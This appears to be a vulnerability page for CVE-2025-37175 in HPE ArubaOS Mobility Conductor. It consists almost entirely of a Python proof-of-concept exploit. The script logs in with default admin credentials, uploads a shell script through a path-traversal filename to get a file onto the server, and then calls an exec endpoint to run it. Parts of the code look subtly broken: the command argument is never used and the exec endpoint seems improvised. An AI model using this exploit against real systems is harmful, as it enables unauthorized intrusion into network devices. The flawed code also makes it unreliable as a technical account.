CVE-2025-37175 | HPE ArubaOS Mobility Conductor 任意文件上传远程代码执行漏洞

#!/usr/bin/env python3 # CVE-2025-37175 PoC - Aruba Mobility Conductor Arbitrary File Upload # Note: This PoC is for educational and authorized testing purposes only import requests import sys import json # Disable SSL warnings for testing in controlled environments requests.packages.urllib3.disable_warnings() TARGET_URL = "https://<target-ip>:4343" USERNAME = "admin" PASSWORD = "admin" def login(): """Authenticate to Aruba Mobility Conductor""" login_url = f"{TARGET_URL}/v1/api/login" data = { "username": USERNAME, "password": PASSWORD } try: response = requests.post(login_url, json=data, verify=False, timeout=30) if response.status_code == 200: return response.cookies except requests.RequestException as e: print(f"[-] Login failed: {e}") return None def upload_malicious_file(session_cookies): """Upload arbitrary file to the target""" upload_url = f"{TARGET_URL}/v1/configuration/upload" # Malicious file content (webshell) files = { 'file': ('exploit.sh', '#!/bin/bash\n# Malicious payload here\n', 'application/octet-stream') } data = { 'filename': '../webapp/static/exploit.sh', 'action': 'upload' } try: response = requests.post(upload_url, files=files, data=data, cookies=session_cookies, verify=False, timeout=30) if response.status_code == 200: print("[+] File uploaded successfully") return True except requests.RequestException as e: print(f"[-] Upload failed: {e}") return False def execute_command(session_cookies, cmd): """Execute arbitrary command via uploaded file""" exec_url = f"{TARGET_URL}/v1/api/exec" params = { "file": "exploit.sh" } try: response = requests.get(exec_url, params=params, cookies=session_cookies, verify=False, timeout=30) return response.text except requests.RequestException as e: print(f"[-] Execution failed: {e}") return None def main(): print("[*] CVE-2025-37175 PoC - Aruba Mobility Conductor RCE") print("[*] Target:", TARGET_URL) # Step 1: Login print("\n[1] Authenticating...") cookies = login() if not cookies: print("[-] Authentication failed") sys.exit(1) print("[+] Authentication successful") # Step 2: Upload malicious file print("\n[2] Uploading malicious file...") if upload_malicious_file(cookies): print("[+] File upload successful") else: print("[-] File upload failed") # Step 3: Execute command print("\n[3] Executing command...") result = execute_command(cookies, "id") if result: print("[+] Command output:", result) if __name__ == "__main__": main()